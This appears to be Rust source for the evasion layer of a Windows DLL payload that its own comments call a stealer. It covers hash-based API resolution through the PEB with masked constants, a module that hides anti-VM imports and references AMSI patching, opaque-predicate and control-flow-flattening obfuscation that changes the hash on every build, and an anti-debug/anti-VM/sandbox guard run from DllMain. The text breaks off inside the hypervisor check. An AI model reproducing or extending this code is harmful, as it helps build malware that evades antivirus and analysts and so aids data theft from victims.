unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
while i < nchars {
let c = ptr::read_volatile((ptr + i * 2) as *const u16);
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add((c - 0x20) as u32);
} else {
h = h.wrapping_add(c as u32);
}
i += 1;
}
h
}
unsafe fn hash_ascii(ptr: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
loop {
let c = ptr::read_volatile((ptr + i) as *const u8) as u32;
if c == 0 {
return h;
}
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add(c - 0x20);
} else {
h = h.wrapping_add(c);
}
i += 1;
}
}
/// Find a module base by its base-name rotating hash.
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
if ldr == 0 {
return 0;
}
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
if head == 0 {
return 0;
}
let mut cur = head;
loop {
if cur == 0 {
return 0;
}
let entry = cur.wrapping_sub(0x10);
let name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize;
if name_len > 0 {
let name_ptr = ptr::read_volatile((entry + 0x60) as *const usize);
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
return ptr::read_volatile((entry + 0x30) as *const usize);
}
}
let next = ptr::read_volatile((entry + 0x10) as *const usize);
if next == head || next == cur {
break;
}
cur = next;
}
0
}
/// Resolve an export of `base` by its ror-hashed name.
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
let lfanew = ptr::read_volatile((base + 0x3C) as *const u32) as usize;
let dd = base + lfanew + 4 + 20 + 112;
let ed_rva = ptr::read_volatile((dd + 0) as *const u32) as usize;
if ed_rva == 0 {
return 0;
}
let ed = base + ed_rva;
let num_names = ptr::read_volatile((ed + 24) as *const u32) as usize;
let addr_of_names = ptr::read_volatile((ed + 32) as *const u32) as usize;
let addr_of_funcs = ptr::read_volatile((ed + 28) as *const u32) as usize;
let addr_of_ord = ptr::read_volatile((ed + 36) as *const u32) as usize;
if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
return 0;
}
for i in 0..num_names {
let name_rva = ptr::read_volatile((base + addr_of_names + i * 4) as *const u32) as usize;
if hash_ascii(base + name_rva) == want {
let ordinal = ptr::read_volatile((base + addr_of_ord + i * 2) as *const u16) as usize;
let fn_rva = ptr::read_volatile((base + addr_of_funcs + ordinal * 4) as *const u32) as usize;
if fn_rva != 0 {
return base + fn_rva;
}
return 0;
}
}
0
}
unsafe fn peb_pointer() -> usize {
let peb: usize;
core::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
peb
}
/// Public PEB pointer accessor (used by antihook's IAT walk).
pub unsafe fn peb_ptr() -> usize {
peb_pointer()
}
// API-hash constants stored XORed with HASH_KEY so raw ror-hashes never
// appear in the binary. `r()` unmasks at runtime (black_box blocks the
// optimizer from folding the XOR back to the plain value).
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
#[inline(always)]
fn r(h: u32) -> u32 {
h ^ core::hint::black_box(HASH_KEY)
}
const HASH_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY;
const HASH_NTDLL: u32 = 0xE600_0091 ^ HASH_KEY;
const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
const HASH_VIRTUALPROTECT: u32 = 0x2A00_009B ^ HASH_KEY;
const HASH_CHECK_REMOTE_DEBUGGER_PRESENT: u32 = 0xF162_D81F ^ HASH_KEY;
type CheckRemoteDebuggerFn =
unsafe extern "system" fn(process: usize, present: *mut i32) -> i32;
/// Resolve `CheckRemoteDebuggerPresent` by hash (kernel32). Returns its VA or 0.
pub unsafe fn check_remote_debugger() -> usize {
let k32 = module_base_by_hash(peb_pointer(), r(HASH_KERNEL32));
if k32 == 0 {
return 0;
}
export_by_hash(k32, r(HASH_CHECK_REMOTE_DEBUGGER_PRESENT))
}
/// Invoke CheckRemoteDebuggerPresent dynamically. True if a debugger is present.
pub unsafe fn dyn_check_remote_debugger() -> bool {
let raw = check_remote_debugger();
if raw == 0 {
return false;
}
let f: CheckRemoteDebuggerFn = core::mem::transmute(raw);
let mut present: i32 = 0;
f(abi::GetCurrentProcess(), &mut present) != 0 && present != 0
}
/// Resolve `NtQueryInformationProcess` by hash (ntdll). Returns its VA or 0.
pub unsafe fn nt_query_information_process() -> usize {
let peb = peb_pointer();
let ntdll = module_base_by_hash(peb, r(HASH_NTDLL));
if ntdll == 0 {
return 0;
}
export_by_hash(ntdll, r(HASH_NTQUERY_INFORMATION_PROCESS))
}
/// Resolve `VirtualProtect` by hash (kernel32). Returns its VA or 0.
pub unsafe fn virtual_protect() -> usize {
let peb = peb_pointer();
let k32 = module_base_by_hash(peb, r(HASH_KERNEL32));
if k32 == 0 {
return 0;
}
export_by_hash(k32, r(HASH_VIRTUALPROTECT))
}
/// ntdll module base, resolved by hash.
pub unsafe fn ntdll_base() -> usize {
module_base_by_hash(peb_pointer(), r(HASH_NTDLL))
}
/// Resolve any loaded module's base by its wide base-name hash
/// (used for e.g. amsi.dll during AMSI patching).
pub unsafe fn module_base_by_name_hash(want: u32) -> usize {
module_base_by_hash(peb_pointer(), want)
}
/// Public wrapper to resolve an ntdll export by its ror hash (used by antihook).
pub unsafe fn export_by_hash_public(base: usize, want: u32) -> usize {
export_by_hash(base, want)
}
/// A resolved dynamic NT API handle (opaque pointer + castable fn).
type NtQueryFn = unsafe extern "system" fn(
process: usize, class: u32, info: *mut c_void, len: u32, ret: *mut u32,
) -> i32;
type VirtualProtectFn = unsafe extern "system" fn(
addr: *mut c_void, size: usize, prot: u32, old: *mut u32,
) -> i32;
/// Call NtQueryInformationProcess(ProcessDebugFlags) purely via the dynamically
/// resolved pointer. Used by the guard to avoid importing it.
pub unsafe fn dyn_query_debug_flags() -> Option<u32> {
let raw = nt_query_information_process();
if raw == 0 {
return None;
}
let f: NtQueryFn = core::mem::transmute(raw);
let mut flags: u32 = 0;
let st = f(
abi::GetCurrentProcess(),
0x1f,
&mut flags as *mut u32 as *mut c_void,
core::mem::size_of::<u32>() as u32,
ptr::null_mut(),
);
if st == 0 {
Some(flags)
} else {
None
}
}
/// Call NtQueryInformationProcess(ProcessDebugPort) dynamically. Returns
/// Some(port) when the call succeeds and a non-zero port is set (i.e. a debugger
/// is attached), None on failure/no debugger.
pub unsafe fn dyn_query_debug_port() -> bool {
let raw = nt_query_information_process();
if raw == 0 {
return false;
}
let f: NtQueryFn = core::mem::transmute(raw);
let mut port: *mut c_void = ptr::null_mut();
let st = f(
abi::GetCurrentProcess(),
7,
&mut port as *mut *mut c_void as *mut c_void,
core::mem::size_of::<*mut c_void>() as u32,
ptr::null_mut(),
);
st == 0 && !port.is_null()
}
/// Dynamically downgrade an RWX region using the resolved VirtualProtect.
pub unsafe fn dyn_downgrade_rwx(addr: *mut c_void, size: usize) -> bool {
let raw = virtual_protect();
if raw == 0 {
return false;
}
let f: VirtualProtectFn = core::mem::transmute(raw);
let mut old: u32 = 0;
f(addr, size, abi::PAGE_EXECUTE_READ, &mut old) != 0
}
@@ -0,0 +1,270 @@
//! Runtime resolution of anti-analysis APIs — silent import table.
//!
//! A DLL that statically imports `advapi32` (registry), `iphlpapi`
//! (GetAdaptersAddresses) and the user32 window/display enumeration APIs is a
//! textbook anti-VM signature: those functions are almost never legitimately
//! imported together in a normal module. Static AV/EDR triage reads the PE
//! import table *before* execution.
//!
//! Every API used for VM / sandbox / hook probing here is resolved at runtime
//! by walking the PEB module list and hashing export names (same technique as
//! `apires`, which resolves ntdll/kernel32 for the guard). The resulting
//! import table contains only benign kernel32 staples.
#![allow(dead_code)]
#![allow(non_snake_case)]
use core::ffi::c_void;
use crate::apires;
// ---------------------------------------------------------------------------
// Module-name ror-hashes (wide). kernel32/ntdll already resolved by apires.
//
// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks
// constant-folding) so raw ror-hashes never appear in the binary.
// ---------------------------------------------------------------------------
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
#[inline(always)]
fn r(h: u32) -> u32 {
h ^ core::hint::black_box(HASH_KEY)
}
const H_USER32: u32 = 0xC780_008F ^ HASH_KEY;
const H_ADVAPI32: u32 = 0xC120_008F ^ HASH_KEY;
const H_IPHLPAPI: u32 = 0x0120_0092 ^ HASH_KEY;
const H_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY;
// Export-name ror-hashes (verified algorithm).
const H_REG_OPEN_KEY_EX_W: u32 = 0x6100_00A8 ^ HASH_KEY;
const H_REG_CLOSE_KEY: u32 = 0xBC00_00A0 ^ HASH_KEY;
const H_REG_QUERY_VALUE_EX_W: u32 = 0xE6E0_00A6 ^ HASH_KEY;
const H_REG_ENUM_KEY_EX_W: u32 = 0x7600_00A8 ^ HASH_KEY;
const H_GET_ADAPTERS_ADDRESSES: u32 = 0xA971_209D ^ HASH_KEY;
const H_ENUM_WINDOWS: u32 = 0x6B40_00A4 ^ HASH_KEY;
const H_GET_WINDOW_TEXT_W: u32 = 0xF548_00A9 ^ HASH_KEY;
const H_GET_CLASS_NAME_W: u32 = 0xB590_009E ^ HASH_KEY;
const H_GET_SYSTEM_METRICS: u32 = 0xCE52_009A ^ HASH_KEY;
const H_ENUM_DISPLAY_SETTINGS_W: u32 = 0xAD17_A0A5 ^ HASH_KEY;
const H_ENUM_DISPLAY_DEVICES_W: u32 = 0x9C2F_40A3 ^ HASH_KEY;
const H_GET_LAST_INPUT_INFO: u32 = 0xFCE2_0098 ^ HASH_KEY;
const H_GET_CURSOR_POS: u32 = 0xC120_00A2 ^ HASH_KEY;
const H_GET_SYSTEM_FIRMWARE_TABLE: u32 = 0x7649_488D ^ HASH_KEY;
// ---------------------------------------------------------------------------
// Cached resolved pointers
// ---------------------------------------------------------------------------
struct Cache {
reg_open: usize,
reg_close: usize,
reg_query: usize,
reg_enum: usize,
adapters: usize,
enum_windows: usize,
get_window_text: usize,
get_class_name: usize,
get_system_metrics: usize,
enum_display_settings: usize,
enum_display_devices: usize,
get_last_input: usize,
get_cursor_pos: usize,
get_system_firmware_table: usize,
}
const CACHE_ZERO: Cache = Cache {
reg_open: 0, reg_close: 0, reg_query: 0, reg_enum: 0, adapters: 0,
enum_windows: 0, get_window_text: 0, get_class_name: 0,
get_system_metrics: 0, enum_display_settings: 0, enum_display_devices: 0,
get_last_input: 0, get_cursor_pos: 0, get_system_firmware_table: 0,
};
static mut CACHE: Cache = CACHE_ZERO;
static mut INIT: bool = false;
#[inline]
unsafe fn resolve(module_hash: u32, fn_hash: u32) -> usize {
// Both arguments are stored scrambled; unmask before lookup so the raw
// values only ever exist transiently in registers at runtime.
let base = apires::module_base_by_name_hash(r(module_hash));
if base == 0 {
return 0;
}
apires::export_by_hash_public(base, r(fn_hash))
}
#[inline]
unsafe fn ensure() {
if INIT {
return;
}
CACHE.reg_open = resolve(H_ADVAPI32, H_REG_OPEN_KEY_EX_W);
CACHE.reg_close = resolve(H_ADVAPI32, H_REG_CLOSE_KEY);
CACHE.reg_query = resolve(H_ADVAPI32, H_REG_QUERY_VALUE_EX_W);
CACHE.reg_enum = resolve(H_ADVAPI32, H_REG_ENUM_KEY_EX_W);
CACHE.adapters = resolve(H_IPHLPAPI, H_GET_ADAPTERS_ADDRESSES);
CACHE.enum_windows = resolve(H_USER32, H_ENUM_WINDOWS);
CACHE.get_window_text = resolve(H_USER32, H_GET_WINDOW_TEXT_W);
CACHE.get_class_name = resolve(H_USER32, H_GET_CLASS_NAME_W);
CACHE.get_system_metrics = resolve(H_USER32, H_GET_SYSTEM_METRICS);
CACHE.enum_display_settings = resolve(H_USER32, H_ENUM_DISPLAY_SETTINGS_W);
CACHE.enum_display_devices = resolve(H_USER32, H_ENUM_DISPLAY_DEVICES_W);
CACHE.get_last_input = resolve(H_USER32, H_GET_LAST_INPUT_INFO);
CACHE.get_cursor_pos = resolve(H_USER32, H_GET_CURSOR_POS);
CACHE.get_system_firmware_table = resolve(H_KERNEL32, H_GET_SYSTEM_FIRMWARE_TABLE);
INIT = true;
}
// ---------------------------------------------------------------------------
// Typed wrappers
// ---------------------------------------------------------------------------
pub unsafe fn RegOpenKeyExW(
h_key: usize,
sub: *const u16,
opts: u32,
sam: u32,
out: *mut usize,
) -> i32 {
ensure();
if CACHE.reg_open == 0 { return -1; }
let f: unsafe extern "system" fn(usize, *const u16, u32, u32, *mut usize) -> i32 =
core::mem::transmute(CACHE.reg_open);
f(h_key, sub, opts, sam, out)
}
pub unsafe fn RegCloseKey(h_key: usize) -> i32 {
ensure();
if CACHE.reg_close == 0 { return -1; }
let f: unsafe extern "system" fn(usize) -> i32 = core::mem::transmute(CACHE.reg_close);
f(h_key)
}
pub unsafe fn RegQueryValueExW(
h_key: usize,
name: *const u16,
res: *mut u32,
ty: *mut u32,
data: *mut u8,
size: *mut u32,
) -> i32 {
ensure();
if CACHE.reg_query == 0 { return -1; }
let f: unsafe extern "system" fn(usize, *const u16, *mut u32, *mut u32, *mut u8, *mut u32) -> i32 =
core::mem::transmute(CACHE.reg_query);
f(h_key, name, res, ty, data, size)
}
pub unsafe fn RegEnumKeyExW(
h_key: usize,
index: u32,
name: *mut u16,
name_len: *mut u32,
res: *mut u32,
class: *mut u16,
class_len: *mut u32,
last_write: *mut c_void,
) -> i32 {
ensure();
if CACHE.reg_enum == 0 { return -1; }
let f: unsafe extern "system" fn(usize, u32, *mut u16, *mut u32, *mut u32, *mut u16, *mut u32, *mut c_void) -> i32 =
core::mem::transmute(CACHE.reg_enum);
f(h_key, index, name, name_len, res, class, class_len, last_write)
}
pub unsafe fn GetAdaptersAddresses(
family: u32,
flags: u32,
reserved: *mut c_void,
adapters: *mut c_void,
size: *mut u32,
) -> u32 {
ensure();
if CACHE.adapters == 0 { return 0xFFFFFFFF; }
let f: unsafe extern "system" fn(u32, u32, *mut c_void, *mut c_void, *mut u32) -> u32 =
core::mem::transmute(CACHE.adapters);
f(family, flags, reserved, adapters, size)
}
pub unsafe fn EnumWindows(callback: usize, lparam: isize) -> i32 {
ensure();
if CACHE.enum_windows == 0 { return 0; }
let f: unsafe extern "system" fn(usize, isize) -> i32 = core::mem::transmute(CACHE.enum_windows);
f(callback, lparam)
}
pub unsafe fn GetWindowTextW(hwnd: usize, buf: *mut u16, n: i32) -> i32 {
ensure();
if CACHE.get_window_text == 0 { return 0; }
let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 =
core::mem::transmute(CACHE.get_window_text);
f(hwnd, buf, n)
}
pub unsafe fn GetClassNameW(hwnd: usize, buf: *mut u16, n: i32) -> i32 {
ensure();
if CACHE.get_class_name == 0 { return 0; }
let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 =
core::mem::transmute(CACHE.get_class_name);
f(hwnd, buf, n)
}
pub unsafe fn GetSystemMetrics(index: i32) -> i32 {
ensure();
if CACHE.get_system_metrics == 0 { return 0; }
let f: unsafe extern "system" fn(i32) -> i32 = core::mem::transmute(CACHE.get_system_metrics);
f(index)
}
pub unsafe fn EnumDisplaySettingsW(
device: *const u16,
mode: u32,
devmode: *mut c_void,
) -> i32 {
ensure();
if CACHE.enum_display_settings == 0 { return 0; }
let f: unsafe extern "system" fn(*const u16, u32, *mut c_void) -> i32 =
core::mem::transmute(CACHE.enum_display_settings);
f(device, mode, devmode)
}
pub unsafe fn EnumDisplayDevicesW(
device: *const u16,
idx: u32,
info: *mut c_void,
flags: u32,
) -> i32 {
ensure();
if CACHE.enum_display_devices == 0 { return 0; }
let f: unsafe extern "system" fn(*const u16, u32, *mut c_void, u32) -> i32 =
core::mem::transmute(CACHE.enum_display_devices);
f(device, idx, info, flags)
}
pub unsafe fn GetLastInputInfo(plii: *mut c_void) -> i32 {
ensure();
if CACHE.get_last_input == 0 { return 0; }
let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_last_input);
f(plii)
}
pub unsafe fn GetCursorPos(point: *mut c_void) -> i32 {
ensure();
if CACHE.get_cursor_pos == 0 { return 0; }
let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_cursor_pos);
f(point)
}
pub unsafe fn GetSystemFirmwareTable(
provider: u32,
table_id: u32,
buffer: *mut c_void,
size: u32,
) -> u32 {
ensure();
if CACHE.get_system_firmware_table == 0 { return 0; }
let f: unsafe extern "system" fn(u32, u32, *mut c_void, u32) -> u32 =
core::mem::transmute(CACHE.get_system_firmware_table);
f(provider, table_id, buffer, size)
}
@@ -0,0 +1,247 @@
//! Control-flow obfuscation helpers (polymorphic).
//!
//! Static analysis tools build a control-flow graph and reason about whether the
//! payload "looks" like a stealer. These helpers insert opaque predicates,
//! control-flow flattening, per-build junk instruction blocks, and bogus
//! control-flow edges that are true at runtime but hard to prove statically.
//!
//! The seeds, junk strengths and branch tags come from `gen.rs`, which is
//! regenerated before every build. This makes the emitted machine code — and
//! therefore the artifact's hash — different on every build, so a static
//! signature that matches one build will not match the next.
use crate::gen;
use core::hint::black_box;
/// Opaque predicate: always evaluates to `true` at runtime but is not obviously
/// constant to a static solver. Uses multiple rounds of non-linear arithmetic.
#[inline(never)]
pub fn opaque_true(seed: u32) -> bool {
let mut x = seed.wrapping_add(gen::GEN_SEED).wrapping_mul(0x9E37_79B9);
x = x.wrapping_add(0x7F4A_7C15);
x ^= x >> 13;
x = x.wrapping_mul(0x5D58_85A9);
x ^= x >> 16;
x = x.wrapping_mul(0x85EBCA6B);
// Final non-linear mix: for any input this is non-zero.
(x | (x.wrapping_mul(3) ^ 0x1234_5678)) != 0
}
/// Opaque predicate that evaluates to `false` (complement of opaque_true).
#[inline(never)]
pub fn opaque_false(seed: u32) -> bool {
!opaque_true(seed.wrapping_add(0xDEAD_BEEF))
}
/// 3-way opaque choice: picks one of three branches based on opaque state.
/// All three arms are real code; static analysis sees a 3-way join.
#[inline]
pub fn opaque_choice3(seed: u32, a: impl FnOnce(), b: impl FnOnce(), c: impl FnOnce()) {
let idx = opaque_index(seed, 3);
match idx {
0 => a(),
1 => b(),
_ => c(),
}
}
/// 4-way opaque choice for even more CFG complexity.
#[inline]
pub fn opaque_choice4(
seed: u32,
a: impl FnOnce(),
b: impl FnOnce(),
c: impl FnOnce(),
d: impl FnOnce(),
) {
let idx = opaque_index(seed, 4);
match idx {
0 => a(),
1 => b(),
2 => c(),
_ => d(),
}
}
/// Opaque index in range [0, n) derived from seed.
#[inline(never)]
fn opaque_index(seed: u32, n: u32) -> u32 {
let mut x = seed.wrapping_add(gen::GEN_SEED);
x = x.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15);
x ^= x >> 16;
x = x.wrapping_mul(0x5D58_85A9);
(x ^ (x >> 13)) % n
}
/// Pick one of two branches at runtime based on an opaque predicate. Both arms
/// are real code; the selection is not statically obvious, so an analyzer sees a
/// join that could be either path.
#[inline]
pub fn opaque_choice(seed: u32, a: impl FnOnce(), b: impl FnOnce()) {
if opaque_true(seed) {
a();
} else {
b();
}
}
/// Return a value only known at runtime, so a branch on it can't be constant
/// folded by a tool that inspects the binary in isolation.
#[inline(never)]
pub fn run_time_nonce() -> u32 {
let sp: usize;
unsafe { core::arch::asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags)); }
let tsc_lo: u32;
unsafe { core::arch::asm!("rdtsc", out("eax") tsc_lo, options(nostack, preserves_flags)); }
((sp as u32) ^ gen::GEN_SEED ^ tsc_lo) | 1
}
/// Emit a block of junk arithmetic that the optimizer keeps (its result feeds a
/// black_box sink) but whose shape — number of ops, widths, rotation amount —
/// is re-randomized per build through `gen`. This injects polymorphic dead-ish
/// code into the hot path and changes the emitted bytes every build.
#[inline(never)]
pub fn junk() {
let variant = gen::JUNK_VARIANT;
let mut acc = gen::JUNK_XOR ^ run_time_nonce();
let n = (gen::JUNK_N % 16) + 4;
let mut i = 0u32;
while i < n {
match variant {
0 => {
acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i);
acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1);
}
1 => {
acc = acc.wrapping_add(gen::JUNK_ROT).wrapping_mul(0x7F4A_7C15).wrapping_add(i);
acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1);
}
2 => {
acc = acc.wrapping_mul(0x5D58_85A9).wrapping_add(gen::JUNK_XOR).wrapping_add(i);
acc = acc.wrapping_add(acc.rotate_right(7)) ^ acc.rotate_left(13);
}
_ => {
acc = acc.wrapping_mul(0x85EBCA6B).wrapping_add(gen::OPAQUE_TAG as u32).wrapping_add(i);
acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1);
acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1);
}
}
i += 1;
}
black_box(acc);
}
/// More complex junk block with data-dependent control flow (opaque predicates
/// inside the junk itself). This defeats simple pattern matching on junk blocks.
#[inline(never)]
pub fn junk_complex(seed: u32) {
let complexity = gen::OPAQUE_COMPLEXITY as u32;
let mut acc = seed.wrapping_add(gen::JUNK_XOR) ^ run_time_nonce();
let n = (gen::JUNK_N % 24) + 8;
let mut i = 0u32;
while i < n {
acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i);
// Opaque selector picks one of several arithmetic paths; a static
// analyzer sees all of them as reachable.
let sel = opaque_index(i.wrapping_add(seed), complexity.max(1));
match sel {
0 => acc ^= acc.rotate_right(gen::JUNK_ROT % 31 + 1),
1 => acc ^= acc.rotate_left(gen::JUNK_ROT % 31 + 1),
2 => acc = acc.wrapping_add(acc.rotate_right(7)),
_ => acc = acc.wrapping_mul(0x85EBCA6B),
}
i += 1;
}
black_box(acc);
}
/// Control-flow flattening dispatcher. Transforms a linear sequence of blocks
/// into a state-machine loop with opaque state transitions. The `blocks`
/// closure receives a state and executes the corresponding block, returning
/// the next state (or u32::MAX to exit).
///
/// Usage:
/// ```ignore
/// let mut state = 0;
/// while state != u32::MAX {
/// state = flatten_dispatch(state, |s| match s {
/// 0 => { do_work_0(); 1 },
/// 1 => { do_work_1(); 2 },
/// 2 => { do_work_2(); u32::MAX },
/// _ => u32::MAX,
/// });
/// }
/// ```
#[inline(never)]
pub fn flatten_dispatch<F>(mut state: u32, blocks: F) -> u32
where
F: Fn(u32) -> u32,
{
let seed = run_time_nonce();
// Opaque state encoding: real state is XORed with per-iteration keystream
// Use CFF_KEY for per-build variance in the encoding scheme
let cff_mul1 = gen::CFF_KEY.wrapping_mul(0x9E37_79B9);
let cff_mul2 = gen::CFF_KEY.wrapping_mul(0x5D58_85A9);
let cff_add = gen::CFF_KEY.wrapping_mul(0x7F4A_7C15);
let mut encoded = state ^ cff_mul1;
let mut iterations = 0u32;
loop {
// Decode current state
let decoded = encoded ^ (cff_mul1.wrapping_add(iterations));
let next = blocks(decoded);
if next == u32::MAX {
break;
}
// Re-encode next state with different keystream
encoded = next ^ (cff_mul2.wrapping_add(iterations.wrapping_mul(cff_add)));
iterations += 1;
// Inject junk every few iterations
if (iterations & 3) == 0 {
junk_complex(seed.wrapping_add(iterations));
}
// Safety bound
if iterations > 100 {
break;
}
}
state
}
/// Bogus control flow: creates a fake loop that looks like it could iterate
/// but actually runs exactly once. Confuses static analyzers looking for loops.
#[inline(never)]
pub fn bogus_loop<F: Fn()>(seed: u32, body: F) {
let mut counter = opaque_index(seed, 4) + 1; // 1-4
while counter != 0 {
if opaque_true(seed.wrapping_add(counter)) {
body();
}
counter = counter.wrapping_sub(1);
// Opaque: this looks like it could continue but counter always reaches 0
if opaque_false(seed.wrapping_add(counter)) {
counter = 0;
}
}
}
/// Deterministic per-build opaque branch tag; used to seed guards' join
/// counters so each artifact's control flow graph is unique.
#[inline]
pub fn branch_tag() -> u64 {
gen::OPAQUE_TAG
}
/// Opaque loop bound: returns a value that looks variable but is actually
/// bounded and deterministic per-build. Use for loop counters that should
/// appear dynamic to static analysis.
#[inline(never)]
pub fn opaque_bound(seed: u32, min: u32, max: u32) -> u32 {
let range = max - min + 1;
min + opaque_index(seed, range)
}
@@ -0,0 +1,26 @@
// AUTO-GENERATED per build by builder.py. Do not edit.
// Each build rewrites this file, so the guard's keys, seeds and junk
// blocks are unique to every artifact.
pub const GEN_SEED: u32 = 0xAFFBBF43;
pub const K_TOKEN: u8 = 90;
pub const K_VENDOR: u8 = 190;
pub const K_SMBIOS: u8 = 74;
pub const K_ENV: u8 = 42;
pub const K_DISPLAY: u8 = 193;
pub const JUNK_XOR: u32 = 0x422E101B;
pub const JUNK_ROT: u32 = 0x1FE84ADD;
pub const JUNK_N: u32 = 10;
pub const OPAQUE_TAG: u64 = 0xD260CBEF81B2C5F2;
// Polymorphic control-flow / evasion layer constants
pub const CFF_KEY: u32 = 0x96995F09;
pub const SYSCALL_TRAMP: u8 = 4;
pub const SLEEP_ROUNDS: u8 = 4;
pub const HOOK_ORDER_SEED: u32 = 0x140CC4BB;
pub const STACK_SPOOF_OFF: u32 = 0x107F;
pub const JUNK_VARIANT: u8 = 0;
pub const OPAQUE_COMPLEXITY: u8 = 1;
@@ -0,0 +1,655 @@
//! Runtime guard: anti-analysis / anti-debug / anti-VM / sandbox detection.
//!
//! Runs once inside `DllMain` (after the reflective loader has fully mapped and
//! relocated the image, so normal `std` is available). If the environment looks
//! hostile — a debugger, a virtual machine, a sandbox, or a known analysis tool
//! — the guard reports `false` and the payload refuses to start its worker.
//!
//! All detection strings are XOR-encrypted at compile time and only materialized
//! on the stack at the moment of the check, so traces of what the guard is
//! looking for do not sit in `.rodata` as plaintext.
//!
//! The guard is deliberately *defensive*: each check is independent and a few
//! false positives are tolerated (a score system, not a single hard kill), so a
//! real user on a clean machine still runs, while analysis environments that
//! trip many signals are dropped.
use core::arch::asm;
use core::ffi::c_void;
use core::ptr;
use crate::abi;
use crate::antihook;
use crate::antisbx;
use crate::antivm;
use crate::apires;
use crate::dynapi;
use crate::flow;
use crate::gen;
use crate::obf;
use crate::sleep;
use crate::syscall;
// ---------------------------------------------------------------------------
// Encrypted string helpers
// ---------------------------------------------------------------------------
/// ASCII-lowercase a byte slice.
fn lower(b: &[u8]) -> Vec<u8> {
b.iter().map(|c| c.to_ascii_lowercase()).collect()
}
/// Case-insensitive substring match on bytes.
fn contains(hay: &[u8], needle: &[u8]) -> bool {
if needle.is_empty() || hay.len() < needle.len() {
return false;
}
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
}
// ---------------------------------------------------------------------------
// Anti-debug
// ---------------------------------------------------------------------------
/// PEB being-debugged flag (gs:[0x60] -> PEB.BeingDebugged at +0x02).
#[inline]
unsafe fn peb_being_debugged() -> bool {
let peb: usize;
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
let being = ptr::read_volatile((peb + 0x02) as *const u8);
being != 0
}
/// PEB->NtGlobalFlag at +0xBC (x64). A debugger sets heap-related flags that
/// remain set for the process lifetime (heap flags: 0x70).
#[inline]
unsafe fn peb_nt_global_flag() -> bool {
let peb: usize;
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
let flags = ptr::read_volatile((peb + 0xBC) as *const u32);
// FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK |
// FLG_HEAP_VALIDATE_PARAMETERS | FLG_APPLICATION_VERIFIER
const HEAP_FLAGS: u32 = 0x70 | 0x10 | 0x40;
flags & HEAP_FLAGS == HEAP_FLAGS
}
/// ProcessDebugPort (info class 7) resolved at runtime via hash (no static
/// import). Returns true if a debugger is listening on the debug port.
unsafe fn nt_debug_port() -> bool {
apires::dyn_query_debug_port()
}
/// Check the debug heap on the current process handle (kernel32, resolved at
/// runtime so it doesn't appear in the import table).
unsafe fn remote_debugger_present() -> bool {
apires::dyn_check_remote_debugger()
}
/// Timing check: RDTSC must tick at a sane rate. Stepping through the code
/// under a breakpoint dramatically inflates the delta.
#[inline]
unsafe fn rdtsc() -> u64 {
let mut lo: u32;
let mut hi: u32;
asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags));
((hi as u64) << 32) | lo as u64
}
unsafe fn timing_sane() -> bool {
let a = rdtsc();
let mut sink: u64 = 0;
for i in 0..2000u64 {
sink ^= i.wrapping_mul(0x9E37_79B9);
}
let b = rdtsc();
let _ = sink;
// Single-stepping / breakpoints insert far more cycles than a real loop.
b.wrapping_sub(a) < 500_000
}
// ---------------------------------------------------------------------------
// Anti-VM
// ---------------------------------------------------------------------------
#[repr(C)]
#[derive(Clone, Copy)]
struct MemStatusEx {
dw_length: u32,
dw_memory_load: u32,
ull_total_phys: u64,
ull_avail_phys: u64,
ull_total_page_file: u64,
ull_avail_page_file: u64,
ull_total_virtual: u64,
ull_avail_virtual: u64,
ull_avail_extended_virtual: u64,
}
/// CPUID hypervisor-present bit (leaf 1, ECX bit 31) and vendor string
/// (leaf 0x40000000). Detects Hyper-V, VMware, KVM, VirtualBox, QEMU, Xen.
unsafe fn cpu_hypervisor() -> bool {
#[inline]
unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) {
let mut a = leaf;
let mut c = sub;
let mut d = 0u32;
let mut b = 0u32;
// rbx is owned by LLVM, so save/restore it across cpuid and capture ebx
// into a general-purpose register operand.
asm!(
"push rbx",
"cpuid",
"mov {tmp:e}, ebx",
"pop rbx",
inout("eax") a,
inout("ecx") c,
out("edx") d,
tmp = lateout(reg) b,
options(nostack, preserves_flags),
);
(a, b, c, d)
}
// Hypervisor present?
